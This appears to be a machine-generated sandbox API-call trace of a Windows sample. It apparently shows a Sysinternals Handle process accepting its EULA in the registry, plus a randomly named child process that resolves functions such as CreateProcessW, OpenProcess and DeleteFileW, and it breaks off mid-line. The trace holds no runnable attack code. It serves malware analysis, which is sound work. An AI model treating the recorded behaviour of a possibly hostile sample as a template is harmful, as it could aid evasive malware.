!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0109.115] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x100) returned 0x2b12c0 [0109.115] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0109.116] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2b12c0) returned 0x100 [0109.116] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0109.116] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0109.116] GetCurrentProcess () returned 0xffffffffffffffff [0109.116] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0109.116] GetLastError () returned 0x0 [0109.116] SetLastError (dwErrCode=0x0) [0109.116] GetLastError () returned 0x0 [0109.116] SetLastError (dwErrCode=0x0) [0109.116] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0109.116] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0109.117] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0109.117] RegCloseKey (hKey=0x78) returned 0x0 [0109.117] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0109.117] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0109.117] RegCloseKey (hKey=0x78) returned 0x0 [0109.117] GetLastError () returned 0x0 [0109.117] SetLastError (dwErrCode=0x0) [0109.117] GetLastError () returned 0x0 [0109.117] SetLastError (dwErrCode=0x0) [0109.117] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x78) returned 0x0 [0109.117] RegSetValueExW (in: hKey=0x78, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0109.117] RegCloseKey (hKey=0x78) returned 0x0 [0109.118] GetLastError () returned 0x0 [0109.118] SetLastError (dwErrCode=0x0) [0109.118] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1000) returned 0x2b23d0 [0109.118] GetLastError () returned 0x0 [0109.118] SetLastError (dwErrCode=0x0) [0109.118] GetLastError () returned 0x0 [0109.118] SetLastError (dwErrCode=0x0) [0109.118] GetLastError () returned 0x0 [0109.118] SetLastError (dwErrCode=0x0) [0109.118] GetLastError () returned 0x0 [0109.118] SetLastError (dwErrCode=0x0) [0109.118] GetLastError () returned 0x0 [0109.118] SetLastError (dwErrCode=0x0) [0109.118] GetLastError () returned 0x0 [0109.118] SetLastError (dwErrCode=0x0) [0109.118] GetLastError () returned 0x0 [0109.118] SetLastError (dwErrCode=0x0) [0109.118] GetLastError () returned 0x0 [0109.118] SetLastError (dwErrCode=0x0) [0109.118] GetLastError () returned 0x0 [0109.118] SetLastError (dwErrCode=0x0) [0109.118] GetLastError () returned 0x0 [0109.118] SetLastError (dwErrCode=0x0) [0109.118] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.119] SetLastError (dwErrCode=0x0) [0109.119] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.120] SetLastError (dwErrCode=0x0) [0109.120] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.121] GetLastError () returned 0x0 [0109.121] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.122] GetLastError () returned 0x0 [0109.122] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.123] SetLastError (dwErrCode=0x0) [0109.123] GetLastError () returned 0x0 [0109.124] SetLastError (dwErrCode=0x0) [0109.124] GetLastError () returned 0x0 [0109.124] SetLastError (dwErrCode=0x0) [0109.124] GetLastError () returned 0x0 [0109.124] SetLastError (dwErrCode=0x0) [0109.124] GetLastError () returned 0x0 [0109.124] SetLastError (dwErrCode=0x0) [0109.124] GetLastError () returned 0x0 [0109.124] SetLastError (dwErrCode=0x0) [0109.124] GetLastError () returned 0x0 [0109.124] SetLastError (dwErrCode=0x0) [0109.124] GetLastError () returned 0x0 [0109.124] SetLastError (dwErrCode=0x0) [0109.124] GetLastError () returned 0x0 [0109.124] SetLastError (dwErrCode=0x0) [0109.124] GetLastError () returned 0x0 [0109.124] SetLastError (dwErrCode=0x0) [0109.124] GetLastError () returned 0x0 [0109.124] SetLastError (dwErrCode=0x0) [0109.124] GetLastError () returned 0x0 [0109.124] SetLastError (dwErrCode=0x0) [0109.124] GetLastError () returned 0x0 [0109.124] SetLastError (dwErrCode=0x0) [0109.124] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0109.125] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x65, lpOverlapped=0x0) returned 1 [0109.126] GetLastError () returned 0x0 [0109.126] SetLastError (dwErrCode=0x0) [0109.126] GetLastError () returned 0x0 [0109.126] SetLastError (dwErrCode=0x0) [0109.126] GetLastError () returned 0x0 [0109.126] SetLastError (dwErrCode=0x0) [0109.126] GetLastError () returned 0x0 [0109.126] SetLastError (dwErrCode=0x0) [0109.126] GetLastError () returned 0x0 [0109.126] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.127] SetLastError (dwErrCode=0x0) [0109.127] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.128] SetLastError (dwErrCode=0x0) [0109.128] GetLastError () returned 0x0 [0109.129] SetLastError (dwErrCode=0x0) [0109.129] GetLastError () returned 0x0 [0109.129] SetLastError (dwErrCode=0x0) [0109.129] GetLastError () returned 0x0 [0109.129] SetLastError (dwErrCode=0x0) [0109.129] GetLastError () returned 0x0 [0109.129] SetLastError (dwErrCode=0x0) [0109.129] GetLastError () returned 0x0 [0109.129] SetLastError (dwErrCode=0x0) [0109.129] GetLastError () returned 0x0 [0109.129] SetLastError (dwErrCode=0x0) [0109.129] GetLastError () returned 0x0 [0109.129] SetLastError (dwErrCode=0x0) [0109.129] GetLastError () returned 0x0 [0109.129] SetLastError (dwErrCode=0x0) [0109.129] GetLastError () returned 0x0 [0109.129] SetLastError (dwErrCode=0x0) [0109.129] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0109.129] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x2c, lpOverlapped=0x0) returned 1 [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.131] SetLastError (dwErrCode=0x0) [0109.131] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.132] SetLastError (dwErrCode=0x0) [0109.132] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.133] GetLastError () returned 0x0 [0109.133] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetLastError () returned 0x0 [0109.134] SetLastError (dwErrCode=0x0) [0109.134] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0109.135] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x3a, lpOverlapped=0x0) returned 1 [0109.136] GetLastError () returned 0x0 [0109.136] SetLastError (dwErrCode=0x0) [0109.136] GetLastError () returned 0x0 [0109.136] SetLastError (dwErrCode=0x0) [0109.136] GetLastError () returned 0x0 [0109.136] SetLastError (dwErrCode=0x0) [0109.136] GetLastError () returned 0x0 [0109.136] SetLastError (dwErrCode=0x0) [0109.136] GetLastError () returned 0x0 [0109.136] SetLastError (dwErrCode=0x0) [0109.136] GetLastError () returned 0x0 [0109.136] SetLastError (dwErrCode=0x0) [0109.136] GetLastError () returned 0x0 [0109.136] SetLastError (dwErrCode=0x0) [0109.136] GetLastError () returned 0x0 [0109.136] SetLastError (dwErrCode=0x0) [0109.136] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.137] SetLastError (dwErrCode=0x0) [0109.137] GetLastError () returned 0x0 [0109.138] SetLastError (dwErrCode=0x0) [0109.138] GetLastError () returned 0x0 [0109.138] SetLastError (dwErrCode=0x0) [0109.138] GetLastError () returned 0x0 [0109.138] SetLastError (dwErrCode=0x0) [0109.138] GetLastError () returned 0x0 [0109.138] SetLastError (dwErrCode=0x0) [0109.138] GetLastError () returned 0x0 [0109.138] SetLastError (dwErrCode=0x0) [0109.138] GetLastError () returned 0x0 [0109.154] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2b0080 | out: hHeap=0x290000) returned 1 [0109.154] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12fe58 | out: phModule=0x12fe58) returned 0 [0109.154] RtlExitUserProcess (ExitCode=0x1) [0109.154] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2af050 | out: hHeap=0x290000) returned 1 Process: id = "203" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x749cb000" os_pid = "0xef4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "201" os_parent_pid = "0xedc" cmd_line = "bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 792 os_tid = 0xef8 [0109.321] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0109.321] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0109.322] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0109.323] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0109.323] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0109.323] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0109.323] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0109.323] GetProcAddress 